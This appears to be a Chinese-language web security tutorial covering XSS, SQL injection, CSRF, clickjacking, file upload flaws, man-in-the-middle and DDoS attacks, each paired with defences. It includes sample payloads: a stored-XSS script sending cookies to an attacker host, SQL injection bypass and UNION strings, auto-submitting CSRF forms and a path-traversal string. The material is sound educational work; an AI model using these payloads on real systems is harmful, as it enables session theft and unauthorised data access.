现代 Web 系统常见网络攻击详解与纵深防御体系

114 阅读5分钟

一、跨站脚本攻击(Cross-Site Scripting, XSS)

1. 定义

XSS 是一种客户端代码注入攻击,攻击者将恶意脚本(通常是 JavaScript)注入到合法网页中,当其他用户浏览该页面时,脚本在其浏览器中执行,从而窃取敏感信息、劫持会话或进行钓鱼操作。

2. 攻击原理

Web 应用未对用户输入进行充分过滤或转义,直接将其嵌入 HTML 输出。浏览器无法区分“合法脚本”与“恶意脚本”,一律执行。

3. 出现方式(三种类型)

(1)存储型 XSS(Persistent XSS)

  • 场景:用户提交的内容被持久化存储(如评论区、个人简介、论坛帖子)。
  • 示例:攻击者在博客评论中写入 <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>,所有访问该页面的用户都会触发数据泄露。
  • 危害:影响范围广,自动化传播,常用于大规模 Cookie 窃取。

(2)反射型 XSS(Reflected XSS)

  • 场景:恶意脚本通过 URL 参数传入,服务器未经处理直接返回给用户。
  • 示例https://search.example.com?q=<img src=x onerror=alert(1)>,若搜索结果页直接输出 q 值,则触发弹窗。
  • 传播方式:通过钓鱼邮件、短链接诱导点击。
  • 危害:单次攻击,依赖社会工程学。

(3)DOM 型 XSS(DOM-based XSS)

  • 场景:前端 JavaScript 动态修改 DOM 时使用了未验证的 URL 参数或用户输入。

  • 示例

    // 危险代码
    const name = new URL(location).searchParams.get('name');
    document.getElementById('welcome').innerHTML = 'Hello, ' + name;
    

    若访问 ?name=<script>alert(1)</script>,则脚本执行。

  • 特点不经过服务器,纯前端漏洞,传统 WAF 难以检测。

4. 防御措施

前端:

  • 输出编码:根据上下文转义(HTML、JS、URL、CSS)。

  • 避免 innerHTML:优先使用 textContent 或安全库(如 DOMPurify)。

  • CSP(Content Security Policy)

    Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; object-src 'none';
    

    禁止内联脚本和未授权来源。

后端:

  • 统一转义输出:模板引擎(如 EJS、Thymeleaf)默认开启自动转义。

  • 输入白名单过滤:对富文本使用 HTML 清洗库(如 sanitize-html)。

  • 设置安全 Cookie

    Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
    

二、SQL 注入(SQL Injection)

1. 定义

攻击者通过构造特殊输入,操控应用程序生成的 SQL 语句,实现非授权数据库操作。

2. 攻击原理

应用将用户输入直接拼接到 SQL 查询字符串中,未做参数化处理,导致 SQL 语法被篡改。

3. 出现方式

  • 登录绕过:用户名输入 admin'--,密码任意。

    SELECT * FROM users WHERE username='admin'--' AND password='xxx'
    

    -- 注释掉后续条件,直接登录。

  • 数据泄露:利用 UNION SELECT 读取其他表。

    ' UNION SELECT username, password FROM admins --
    
  • 盲注(Blind SQLi) :无回显时,通过布尔或时间延迟判断数据。

    ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' --
    

4. 防御措施

后端(核心防线):

  • 参数化查询(Prepared Statements)

    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    

    参数与 SQL 逻辑分离,彻底阻断注入。

  • ORM 框架:Django ORM、Sequelize、TypeORM 等自动处理参数绑定。

  • 最小权限原则:数据库账号仅授予必要权限(如禁止 DROP TABLE)。

  • 输入验证:ID 必须为数字,邮箱必须符合格式。

前端(辅助):

  • 表单校验可提升体验,但不能替代后端校验(攻击者可绕过前端)。

三、跨站请求伪造(CSRF / XSRF)

1. 定义

攻击者诱使已认证用户在不知情的情况下,向目标网站发送非本意的 HTTP 请求(如转账、改密)。

2. 攻击原理

浏览器自动携带 Cookie(包括会话 Cookie),攻击者利用此特性构造恶意请求。

3. 出现方式

  • GET 请求滥用:早期系统用 GET 修改状态。

    <img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">
    
  • POST 表单自动提交

    <form action="https://shop.com/delete-account" method="POST">
      <input type="hidden" name="confirm" value="true">
    </form>
    <script>document.forms[0].submit();</script>
    

4. 防御措施

前后端协同:

  • SameSite Cookie 属性(现代浏览器支持):

    Set-Cookie: sessionid=xxx; SameSite=Lax; Secure
    

    Lax 允许安全的 GET 跨站(如链接),阻止 POST/PUT。

  • CSRF Token

    • 后端生成一次性令牌,存入 Session 或 JWT。

    • 前端在表单或 AJAX 头中携带:

      <input type="hidden" name="_csrf" value="{{ csrfToken }}">
      
      axios.post('/api/transfer', data, { headers: { 'X-CSRF-Token': token } });
      
    • 后端验证令牌是否匹配。

  • 双重提交 Cookie(简化方案):前端读取 Cookie 中的 token 并放入请求头,后端比对。

⚠️ 注意:仅依赖 Referer/Origin 头不可靠(可能被删除或伪造)。


四、点击劫持(Clickjacking)

1. 定义

攻击者通过透明 <iframe> 覆盖在合法按钮之上,诱使用户点击看似无害区域,实则触发隐藏操作。

2. 攻击原理

利用 CSS 的 opacity: 0z-index 控制层叠顺序,使用户“误点”。

3. 出现方式

  • 社交工程页面:显示“点击领取红包”,实际覆盖在“授权第三方应用”按钮上。
  • 视频播放器劫持:伪装播放按钮,实则关注/订阅。

4. 防御措施

后端设置响应头:

  • X-Frame-Options(旧标准):

    X-Frame-Options: DENY          # 禁止任何 frame 嵌入
    X-Frame-Options: SAMEORIGIN    # 仅允许同源嵌入
    
  • CSP frame-ancestors(现代标准):

    Content-Security-Policy: frame-ancestors 'self' https://trusted.com;
    

前端 JS 防御(后备):

if (window.top !== window.self) {
  window.top.location = window.self.location;
}

但可被 sandbox iframe 绕过,不应作为主要手段


五、文件上传漏洞

1. 定义

应用未严格校验上传文件,导致攻击者上传可执行脚本(如 .php, .jsp),进而控制服务器。

2. 攻击原理

服务器将上传文件当作静态资源或动态脚本执行。

3. 出现方式

  • 绕过扩展名检查:上传 shell.php.jpg,但服务器配置错误仍解析 .php
  • MIME 类型欺骗:前端限制 .exe,但抓包修改 Content-Type: image/jpeg
  • .htaccess 利用(Apache):上传 .htaccess 文件重写解析规则。

4. 防御措施

后端(关键):

  • 扩展名白名单:仅允许 .jpg, .png, .pdf

  • MIME 类型校验:读取文件头(Magic Bytes),而非依赖扩展名。

    // Node.js 示例
    const fileType = await FileType.fromBuffer(fileBuffer);
    if (!['image/jpeg', 'image/png'].includes(fileType.mime)) throw new Error('Invalid type');
    
  • 隔离存储

    • 上传目录禁用脚本执行(Nginx: location ~ .php$ { deny all; }
    • 使用独立域名(如 static.example.com),且无 Cookie。
  • 重命名文件:使用 UUID,避免路径遍历(如 ../../../etc/passwd)。

  • 病毒扫描:集成 ClamAV 等工具。

前端:

  • 仅做体验优化(如预览、格式提示),不可信

六、中间人攻击(Man-in-the-Middle, MITM)

1. 定义

攻击者插入通信双方之间,窃听、篡改或伪造数据。

2. 攻击原理

未加密通信(HTTP)或弱加密(如 SSL Stripping)使数据明文传输。

3. 出现方式

  • 公共 Wi-Fi 嗅探:捕获登录凭证。
  • ARP 欺骗:局域网内冒充网关。
  • HTTPS 降级:强制用户使用 HTTP。

4. 防御措施

全站 HTTPS:

  • 强制跳转:301 Redirect + HSTS。

  • HSTS(HTTP Strict Transport Security)

    Strict-Transport-Security: max-age=31536000; includeSubDomains
    

    浏览器未来一年内强制使用 HTTPS。

证书安全:

  • 使用有效 CA 证书(Let's Encrypt)。
  • 启用 OCSP Stapling,防止吊销证书被滥用。

前端:

  • 所有资源使用 https:// 或协议相对路径(//cdn.com/lib.js)。
  • 避免混合内容(Mixed Content)。

七、DDoS 与 DoS 攻击

1. 定义

  • DoS:单机耗尽目标资源。
  • DDoS:分布式僵尸网络发起海量请求。

2. 攻击原理

消耗带宽、CPU、内存、连接数等资源。

3. 出现方式

  • HTTP Flood:大量合法请求(如 /login)。
  • SYN Flood:耗尽 TCP 连接队列。
  • Slowloris:缓慢发送 HTTP 头,占满连接。

4. 防御措施

网络层:

  • CDN 与云防护:Cloudflare、阿里云 DDoS 高防。

  • 限流(Rate Limiting)

    limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
    
  • WAF 规则:识别异常 User-Agent、IP 频率。

应用层:

  • 异步处理、缓存静态内容。
  • 关键接口增加验证码(CAPTCHA)。

总结:构建纵深防御体系

攻击类型前端防御后端防御架构/运维
XSSCSP、输出编码、HttpOnly Cookie输入过滤、模板转义WAF、日志监控
SQLi参数化查询、ORM、最小权限数据库审计
CSRFSameSite Cookie、Token 携带Token 验证、SameSite
ClickjackingX-Frame-Options、CSP
文件上传白名单、MIME 校验、隔离存储病毒扫描
MITMHTTPS 资源、HSTS强制 HTTPS、HSTS 头证书管理
DDoS限流、验证码CDN、云防护